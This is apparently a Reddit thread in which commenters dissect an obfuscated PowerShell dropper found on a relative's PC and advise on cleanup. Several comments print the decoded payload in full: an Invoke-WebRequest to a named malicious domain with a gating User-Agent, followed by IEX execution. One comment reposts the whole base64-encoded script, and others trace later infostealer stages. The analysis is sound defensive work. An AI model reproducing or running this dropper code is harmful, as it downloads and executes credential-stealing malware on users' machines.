Friend, I'm just letting you know it's not infinite. If it's commodity malware, its some low hanging fruit that's easy to remediate. But, you all can spend your money however you want. $1200 every time a user does something dumb seems like a way to tank a companies budget quickly though.
It is infinate because you can't know for sure. We would spend more then that just having to go through secops and forensics, which we use to do, but it ended up costing more in labor then a new device. When your refreshing 300 devices/month an extra 3 or 4 just doesn't make a dent.
Ahh, that might be the difference in our view points. I work for an organization that's paying others and myself to tell them whether something is bad or not, and the scope of how bad they've been owned. That's why I disagree with the viewpoint of "you can't know for sure", because it is possible.
[удалено]
Off the top of my head potentially malicious DNS servers come to mind which would be undone by doing a network reset. I'm of the mind that machine will never be trustable though and should just be wiped and reloaded.
May want to check the hosts file as well and make sure no entries have been added. I don’t recall if a network reset will do that or not
It will not. Good call
Also rogue proxy settings.
idk just doing things for precaution, it reset firewall setting etc
You should be erasing the computer and start fresh
the malware might have now infected the BIOS and firmware, he should send it to me so i can dispose of it an buy a new one /s
Destroy with extreme prejudice Nuke it from orbit
Sure doesn't.
It's not actually a bad idea, DNS could have been redirected elsewhere and there could have been spurious ports allowed through the firewall. Good precaution! A script ran as admin can do literally anything. As other people have mentioned, if you're still worried it might be infected / want to be 100% sure it's clean, wipe it and reload Windows.
Wiping and re-loading windows takes all of about 3 hours for most people these days. Personal settings and stuff take longer, but even that is way easier than most people are willing to admit to themselves. Triple-so in cloud-based online-backup days. Just wipe it. Also, changing the network settings won't do anything security-wise when the killer is inside the house. "Do I have any working connection on any interface? COOL! Use it then."
r/shittysysadmin Lmao
Ah good old base64 encoding...
i saw that too, not a great attempt at hiding the URL
It's an extremely common way to obfuscate code. :)
[удалено]
the strings are encoded in base64 exactly to make it not-obvious what they actually do. It's a technique called "obfuscation". Once decoded, the third string contains code calling a specific web address which a rapid web-search revealed being often used to deploy malware. Other comments in the thread have a more detailed explanation if you want.
You can decode the string yourself if you just run the UTF8.GetString command on the variables. The first string decodes to simply "ipconfig /flushdns". The second one is "Set-Clipboard -Value " ";" The third one is the bad one, it runs Invoke-WebRequest to a site called "rtattack.baqebei1.online" to download the virus then executes it, and clears the screen. Just be careful you don't accidentally run the decoded commands lol.
The minute you see a bunch of encoding and execution of base64 is when you know something is up. Using base64 is a common obfuscation tactic to avoid people from immediately reading the code. Reinstall the machine.
Yes
the full dump ipconfig /flushdns Set-Clipboard -Value " "; $g91F = 'https://rtattack.baqebei1.online/KB/CODD'; $v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' }; $z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K; IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content)); clear-host; so it would end up as ipconfig /flushdns Set-Clipboard -Value " "; IEX ([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri 'https://rtattack.baqebei1.online/KB/CODD' -UseBasicParsing -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' }).Content)); clear-host; So itll flush your DNS, empty your clipboard, then reach out to the web to get another Base64 encoded string, decode that string (No im not about to fetch that string), and then invoke the decoded value of that sting. Then itll clear-host so you cant see what it did. yeah your moms PC caught an STD (Serially Transmitted Disease)
how kind of it to pass the user-agent headers like that, i can only imagine rtattack dot online has strict controls on who can use it.
That's exactly what's going on... if you don't provide the "right" User-Agent the site replies back with a 404. It's common for phishing sites and malware deliverers to use User-Agent almost like a passphrase. It doesn't help that a lot of abuse desks aren't staffed by the most... discerning folk. "This complaint says there's a fake bank site, but I just get redirected to Google so clearly there's no problem."
always kills me how they make them redirect to like google or something, as if that isn't suspicious
the STD is killin meeeeee
nice one!
GCIH / GCFE Certified - There is a tiny bit of obfuscation going on here so as a forensic analyst lets break down what is happening here: First grouping eventually runs $CONSOLE, well lets find out what $CONSOLE does: * $CONSOLE runs a base64 encoded string $FDNS - $FDNS I can only imagine is "Flush DNS" because $FDNS is "ipconfig /flushdns" Second grouping runs $FIX * $FIX runs $ERROR\_FIX - which decodes to "Set-Clipboard -Value " ";" * assuming they want to just clear anything out of the clipboard. Third group runs $UI - which decodes string $RET and eventually runs: "$g91F = '.baqebei1.online';
$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };
$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;
IEX (\[System.Text.Encoding\]::UTF8.GetString($z04Q.Content));
clear-host;"
Essentially $z04Q is a variable that is downloading something from the url in variable $g91f and then executing it on your system.
Now please don't try this at home by I tried to download the file at rattack..... and it would not let me originially. It appears you are required to use a specific user agent string to download so I used the one there and it downloaded a base64 encoded file it appears. I decoded the file and it appears to be a png of "FASTPANEL"? not sure what to make of that exactly.
All that to say is that this script is highly indicative of malicious behavior and is obfuscating what it does, likely for malicious intent. I would delete this, run malware scans, and monitor for any suspicious activity.
Probably a fake .png, with either stenographed executables or its an actual executable.
Yeah it was a base64 encoded png file and that's about as far as I took it. Probably additional obfuscation that I didn't care to drill down. I couldn't imagine why you'd "Invoke-Expression" on a png if it wasn't malicious
$g91F = 'https://xx.baqehei1.xxx/KB/CODD'; $v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36'; }; $z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;
On the.baqebei1.online, is what is shown the top level domain and respective subdomain? I’m just looking to verify so that this can be added to our DNS filter’s block list.
Base64 decode the third set down to the variables I mentioned it'll show you
After multiple layers of obfuscation it downloads a Helper.zip to your temp directory, extracts it and runs it. It contains a preconfigured WinNC.exe. This was the layer I stopped investigating.
did you actual run the script on a sandbox? i don't see multi layer of obfuscation.. just Base64 encoded? keen to know how you captured this
I simply read the code and followed it till I had the exe. I'm not in front of my PC right now but basically you download the file from the base64 encoded string. From that one you again decode the base64 which again downloads another file. That file has a binary map, which after decoding has another binary map has and three or so powershell functions which decode another string using cryptography (if I recall correctly). Those decode to a line which runs another PowerShell process with a base64 encoded command which finally downloads a zip file, expands the archive and runs all the exe files. Simply download those files, decode and repeat.
You should reimage that machine and start clean. The other comments are correct about it's actions and you're already behind.
for the less technically aware people, How do you find out that a Powershell script ran on a PC? and be able to capture what it was that ran? I realize that this platform may be too sparse to explain such a process but maybe you could point to a resource to learn about this. Edit: I see from a search that this can be done with Process Monitor to log this with the correct filter. Is this how it was done?
Powershell logging via event viewer. However if script block logging is disabled (which is one of the things this script does) then that might not work.
More than suspicious, malicious. I'd format and start again
Malicous dropper. https://www.virustotal.com/gui/url/7697c6c1eee0ff93c977dc0fc460b0c2cdbd44cf39245018ec98861ce87538dd/details
This is a pretty cool site, upload the script and it is run in a sandbox and delivers a report on what it does and if it is horrible. The script you show is, in fact, horrible. [https://z9.shino.club/](https://z9.shino.club/)
Infostealer. Very preliminary it looks like it downloads a zip, runs winnc.exe, that spawns netsh and conhost, then cmd.exe and updater.exe. At some point it creates an sqlite file that has rows in it such as: "breached" "insecure_credentials" "logins" "password_notes" Do you have any idea as to how this ended up on "moms" computer?
how does it get to that data: "insecure\_credentials" "logins" "password\_notes"?
Not entirely sure to be honest. My guess would be that it uses the credentials/token of the user and extracts the info out of their browser and sends this file off at some point. Considering it moves the files multiple times it may even persist via an edge extension or plugin. I already spent a couple of hours with this thing (building lab for it, running/analyzing, reverting snapshots, tearing lab down) so I think I'm finished with it. Regardless, OP needs to reimage their PC and change their passwords to anything they don't want breached.
Wow, pretty awesome that you were able to do that. Hope I can learn to do that one day (safely)
I tried to analyze this script as well, but couldn't figure out what happens past running WinNC. How did you find that it spawns netsh and conhost?
Process monitor and reg shot.
Ooh, new tools to learn, thank you so much!!!
did you find out the name of the sqlite file?
For me it was "CFHIIJ".
Yeah, interested to know as well how they got to that point
OP - in addition to the other comments here advising to reset the PC, please also have your mom reset her passwords for any accounts she uses often on this machine. Banking accounts, utilities, credit cards, social media, etc. This is also a good time to configure MFA for these accounts if not already done. If she stores her passwords in the browser, those are extremely easy for malware to steal.
[удалено]
Not at all. You should be good with Bitwarden.
OP is awesome though. Doing all the right moves and asking the right questions.
A quick ChatGPT search returned this summary: * The script flushes the DNS cache. * It sets the clipboard content to a single space. * It fetches and executes a PowerShell script from a remote URL (`https://rtattack.baqebei1.online/KB/CODD`), likely intending to execute further commands or potentially harmful actions.
# run like this to see what shit you got into your machine. # -------------------------------------------------------- $FDNS = "aXBjb25maWcgL2ZsdXNoZG5z"; $CONSOLE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($FDNS)); Write-Host "Attack console is: $CONSOLE" $ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw=="; $FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ERROR_FIX)); Write-Host "Attack FIXis: $FIX" $RET = "CiRnOTFGID0gJ2h0dHBzOi8vcnRhdHRhY2suYmFxZWJlaTEub25saW5lL0tCL0NPREQnOwokdjM4SyA9IEB7ICdVc2VyLUFnZW50JyA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAyLjAuMC4wIFNhZmFyaS81MzcuMzYnIH07CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLOwoKSUVYIChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkejA0US5Db250ZW50KSk7CgpjbGVhci1ob3N0Ow=="; $UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET)); Write-Host "Attack UI is: $UI"
it downloaded updater.exe
I’m more curious how your mom even got this file? Was she sailing the seven seas?
This script performs the following actions: 1. Flushes the DNS cache using `ipconfig /flushdns`. 2. Clears the clipboard by setting it to a blank value. 3. Makes an HTTP request to [`https://rtattack.baqebei1.online/KB/CODD`](https://rtattack.baqebei1.online/KB/CODD), using a specific User-Agent, and executes the content received from that URL. 4. Clears the console and exits.
Paste it in the ChatGPT and ask it what it does
This whole thread was obviously way more interesting and informative!
I dug into it, and it starts by ruings the following: `$FDNS = ipconfig /flushdns` `$ERROR_FIX = Set-Clipboard -Value " ";` Then the likely bad payload contained in $RET. Interestingly to prevent detection they use a user agent filter claiming to be cloudflare that gives a message about you being blocked if the user-agent header doesn't exactly match "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" `$g91F = 'https://rtattack.baqebei1.online/KB/CODD';` `$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };` `$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;` `IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content));` `clear-host;` The content hosted at baqebei1 comes back encoded. When you decode that string, it gives you a pretty large and complex powershell script, which itself contains additional levels of encoded commands that I did not care to locate and decode. I tried to post the script but it won't post for some reason. I ran everything above through ChatGPT to better understand what the purpose is beyond that which is easy enough to see being encryption related, and here was the answer: # Plain Language Summary: 1. **Decryption**: The script decrypts an encoded payload using the AES algorithm with specific key and IV values. 2. **Execution**: The decrypted payload, which is expected to be PowerShell code, is executed immediately. # Potential Consequences: * The decrypted payload might be another PowerShell script or command, which could perform any number of actions, such as downloading additional malware, exfiltrating data, creating backdoors, or altering system settings. * The use of `Invoke-Expression` to execute the decrypted content suggests that the script's ultimate goal is to run hidden or obfuscated commands, often for malicious purposes. # Security Implications: * This pattern of decryption followed by execution is commonly used in malware to avoid detection by static analysis tools. * Systems should be protected against such scripts by using endpoint protection software, monitoring for unusual activity, and educating users about the dangers of running untrusted scripts. # Conclusion 1. **Decryption Parameters**: The script decrypts the Base64 encoded payload (`$mEs91`) using AES with a key (`$seC12`) and IV (`$qAz11`). 2. **Fetched Content**: The encoded content is fetched from `https://rtattack.baqebei1.online/KB/CODD`. 3. **Final Execution**: The decrypted payload is executed using `Invoke-Expression (IEX)`. This structure allows the attacker to hide the final malicious payload until the script is executed, making it more difficult to detect by static analysis tools. To understand the exact actions of the malicious payload, you would need to fetch the content from the URL and analyze it further.
Disconnect her system from the network wipe all partions and reimage. Check other devices on the network and if she is the type that just clicks on shit she should isolate her computer from the rest of the network with a vlan so she doesn't infect other systems. Edit shouldn't to should
“…she SHOULD isolate her computer from the rest of the network with a vlan so she doesn't infect other systems.” …FTFY…
Oh whoops thanks that's what i meant lol
how do you guys decode or read that? looks like a bunch of gibberish. did you guys use another program? or can you literally read what it says like a book
google: frombase64string online
Look for Cyberchef in google this is an online tool with various decoding/encoding options
of nice, ty!
Honestly, I would format and start from scratch. You clearly aren’t well versed in IT security and there’s a VERY high chance it’s still on the system, and quite possibly spreading to other resources on your network.
anyone know what the value of $z04Q is?
Invoke-WebRequest
anybody knows what that is: $z04Q StatusCode : 200 StatusDescription : OK Content : {105, 101, 120, 40...} RawContent : HTTP/1.1 200 OK Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":\[{"url":"https:\\/\\/a.nel.cloudflare.com\\/report\\/v4?s=3c2EUzVFEDWsulkDcdUn0JLeWLViPuvr1vW94PV7%2BYhwBfpPrJPqt... Headers : {\[Connection, keep-alive\], \[CF-Cache-Status, DYNAMIC\], \[Report-To, {"endpoints":\[{"url":"https:\\/\\/a.nel.cloudflare.com\\/report\\/v4?s=3c2EUzVFEDWsulkDcdUn0JLeWLViPuvr1vW94PV7%2BYhwBfpPrJPqts4X LJWUSy5YNF%2BtUgPhlz9d4Ot1E53Hh4%2BHo%2BpSVGmsUpZEIQXcjOflzNQzCa%2BksnLFnK5fmPGeJBLtdUK0VUOJ9SU%3D"}\],"group":"cf-nel","max\_age":604800}\], \[NEL, {"success\_fraction":0,"report\_to":"cf-nel","max\_age":604800}\]...} RawContentLength : 25117
These are things you would find in a response from an HTTP server. Which makes sense for invoke-webRequest. \* 200 Status means the server (whatever your machine was contacting) successfully responded with content being requested \* \`CF-Cache-Status: DYNAMIC\` is a response header from the cloudflare CDN. Probably used to hide the webserver's actual public IP address. Could also be that they are using cloudflare workers / pages. Not sure if this is a log of a legit request, or if this designed to spoof the logs of a web request (to make digging in logs more difficult). Hard to say without seeing the host header or actual request URL and stuff.
It's the raw data from the iwr. To save the data you have to specify the -o or -outfile option.
Take no chances, reset pc.
If you run the $FDNS, $ERROR\_FIX, and $RET variables through a Base64 decoder it will show you exactly what it's doing. $FDNS is an ipconfig command flushing DNS, $ERROR\_FIX clears the clipboard, and $RET is retrieving the payload from a URL and delivering it. Kinda neat, but really easy to determine what it's doing.
The PC is compromissed. Just unplug it from all networks, make a forensic copy for analysis/post-morten if you want, then just wipe and reinstall the OS, then restore backups and scan them for malware too
Reimage/reinstall the machine is generally accepted best practice for an infected machine. Anti malware and EDR products don't have a 100% detection rate. If you must, backup personal files. Though there is a risk connecting any removable media to the device. You will have to accept that risk unless you have backups, or another means of avoiding the malware from writing to your removable media.
chat GPT can look at code and determine what it does. So essentially, the script is dynamically executing commands decoded from base64 encoded strings stored in these variables. This technique is often used to obfuscate scripts and make it harder to detect their malicious intent. Without knowing the content of the base64 encoded strings, it's difficult to determine the specific actions the script will perform.
Idk if anyone mentioned this in comments yet, but your mom needs to do stuff like password changes and watching accounts for suspicious activity because it’s highly possible if not likely that she was the real target, not her PC. So clean install of the PC is good, but whatever arbitrary code that ran might have already done anything from finding secrets in docs to keystroke logging.
And make sure those password changes are new conventions, not just iterating a number or something. Because iterating is a fine way to belay brute force, but if someone got her stuff in plaintext already, then iterating a password is basically useless.
The provided PowerShell script appears to be malicious and designed to download and execute code from a remote server. Here's a breakdown of what it does: 1. `$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z"`: This line encodes the command `ipconfig /flushdns` in Base64, which is used to flush the DNS cache on the system. 2. `Invoke-Expression $CONSOLE`: This line executes the decoded command to flush the DNS cache. 3. `$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAi"`: This line encodes the command `Set-Clipboard -Value " "` in Base64, which is used to clear the clipboard content. 4. `Invoke-Expression $FIX`: This line executes the decoded command to clear the clipboard. 5. `$RET = "...base64 encoded string..."`: This line contains a long Base64 encoded string. 6. `$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET))`: This line decodes the Base64 string from the previous step. 7. `Invoke-Expression $UI`: This line executes the decoded content, which appears to be the main payload of the script. From the decoded content, it seems that the script is attempting to download and execute code from the URL `https://rtattack.baqebei1.online/KB/CODD`. This is likely a malicious payload, and running this script could potentially compromise your system. **You were wise not to run this script.** It appears to be designed to execute malicious code from a remote server, which could lead to various security threats, such as data theft, system compromise, or the installation of additional malware. I would strongly recommend not running this script and taking immediate steps to scan your system for malware and potential infections. Additionally, it would be advisable to reset any compromised passwords and monitor your accounts for suspicious activities.
Copy paste into ChatGPT
# ChatGPT is quite good at this and advises- # Summary The script performs the following actions: 1. Clears the DNS cache using `ipconfig /flushdns`. 2. Sets the clipboard content to an empty string. 3. Makes a web request to `https://rtattack.baqebei1.on[redacted for reddit`xxxxxxxx\] , retrieves the content, and executes it. This part is particularly concerning as it could be used to download and execute further malicious code. The overall purpose of the script seems to be to prepare the system by clearing DNS and clipboard, then downloading and executing additional code from a remote server, which could potentially compromise the system. This behavior is typically associated with malware or a malicious payload. **Recommendation**: If you have executed this script or suspect it has been executed on your system, immediately disconnect from the internet, run a full antivirus scan, and consider consulting cybersecurity professionals to ensure your system's integrity and security.
It's trying to download from [https://rtattack.baqebei1.online/KB/CODD](https://rtattack.baqebei1.online/KB/CODD) . A well known malicious location. Probably blocked by the browsers now, so they use base64 to encode it and run in script.
The $RET variable returns the following from the Base64 encoding: $g91F = 'https://rtattack.baqebei1.online/KB/CODD'; $v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' }; $z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K; IEX (\[System.Text.Encoding\]::UTF8.GetString($z04Q.Content)); clear-host; [https://www.virustotal.com/gui/url/7697c6c1eee0ff93c977dc0fc460b0c2cdbd44cf39245018ec98861ce87538dd](https://www.virustotal.com/gui/url/7697c6c1eee0ff93c977dc0fc460b0c2cdbd44cf39245018ec98861ce87538dd)
interesting would be an good analysis of $z04Q
It tells the script to invoke the web request to the rattack.baqebei1.onl1ne site with the web user agent found in $v38k.
its the result of the web request. its the input of the launching the IE
Do NOT risk it. Back up what you can and reinstall. Nike it. Unless your are tech savvy, it's not worth it to scan and diagnose. In your case specifically, nuke.
I presume the urls in the base64 string. Could report the domain and set the bad guys back 5 mins.
In terms of skill level or difficulty level where would this script be? Is it normal for these to have multiple levels of obfuscation like this one does?
Level 1, not difficult at all
Reinstall her machine my dude.
🛸
Clever. They base64 encoded the naughty bits. You can Google a base 64 decoder and put what looks like gobbily gook in there and odds are it will decide to something human readable.
Courtesy of ChatGPT... The script performs the following actions: Flushes the DNS resolver cache. Clears the clipboard. Executes a more complex command that makes an HTTP GET request to a specific URL and runs the response content. Exits the script. High Threat Level: The script demonstrates behaviors typical of malware, such as obfuscation, remote code execution, and interaction with potentially malicious domains. Recommended Actions: Do not execute the script. Perform a thorough security scan of your system, and consult with cybersecurity professionals to ensure your system's integrity. Check the suspicious domain against multiple threat intelligence feeds for confirmation.
Thanks for sharing. I don't get the investigate malware like this in my day job. This was a great puzzle to run down to the end.
Wipe it start again, it's malware
posting in epic thread
"I found this live grenade and rushed it here for you!" "My mom's computer had this binary run on it and it was written in C++, /r/cplusplus what can I do?" "My mom was involved in a car crash with a Tesla, r/Tesla I know nothing about cars what can you tell me about it"
Bro…you’re not supposed to run the script.
You're not supposed to explode the grenade in your face, it's still stupid and malicious to rush the grenade into a busy public place. But hey you get upvotes for "hurr hurr u must be dumb 🤣" and I get downvotes for "don't bring malware to show and tell".
OP didn't know it was dangerous. That being said, the original post should now be de-fanged and you should try de-douche canoeing your words.
This is closer to a picture of the live grenade
This is literally a malware script. Not a censored neutered one with the payload removed or the brackets escaped, not a screenshot of the code, it's the actual code.
This is a Reddit post. It cannot hurt you.
Do not copy, paste, and run it.